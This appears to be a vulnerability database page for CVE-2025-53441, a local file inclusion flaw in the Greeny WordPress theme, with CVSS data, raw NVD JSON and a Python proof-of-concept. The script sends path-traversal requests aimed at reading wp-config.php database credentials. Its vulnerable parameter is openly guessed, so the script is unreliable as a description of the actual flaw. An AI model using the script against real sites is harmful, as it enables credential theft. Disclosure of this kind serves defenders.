Security Vulnerability Report
中文
CVE-2025-53441 CVSS 8.1 HIGH

CVE-2025-53441

Published: 2025-12-18 08:15:55
Last Modified: 2026-01-20 15:16:57

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Greeny greeny allows PHP Local File Inclusion.This issue affects Greeny: from n/a through <= 2.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:greeny:*:*:*:*:*:wordpress:*:* - VULNERABLE
Greeny Theme <= 2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53441 PoC - WordPress Greeny Theme LFI # Target: WordPress site with Greeny Theme <= 2.6 import requests import sys TARGET = "http://target-site.com" # Common vulnerable parameter - may vary based on theme implementation VULN_PARAM = "file" # or "template", "page", etc. def test_lfi(target, param): """Test for Local File Inclusion vulnerability""" # Test 1: Read wp-config.php print("[*] Testing LFI vulnerability...") test_paths = [ "../../wp-config.php", "../../../wp-config.php", "../../../../wp-config.php", "../../../../../wp-config.php" ] for path in test_paths: payload = {param: path} try: # Try common theme files that might include the vulnerable parameter endpoints = [ f"{target}/?{param}={path}", f"{target}/wp-content/themes/greeny/{path}", ] for url in endpoints: print(f"[*] Testing: {url}") response = requests.get(url, timeout=10) # Check if wp-config.php content is leaked if "DB_NAME" in response.text or "define('DB" in response.text: print(f"[!] VULNERABLE! Found DB config leak: {url}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") continue print("[-] No obvious LFI detected") return False def main(): if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET print(f"[*] Target: {target}") test_lfi(target, VULN_PARAM) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53441", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:54.507", "lastModified": "2026-01-20T15:16:57.200", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Greeny greeny allows PHP Local File Inclusion.This issue affects Greeny: from n/a through <= 2.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:greeny:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "2.6", "matchCriteriaId": "2F152C22-A8EB-421C-8677-0236CFBD808C"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/greeny/vulnerability/wordpress-greeny-theme-2-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}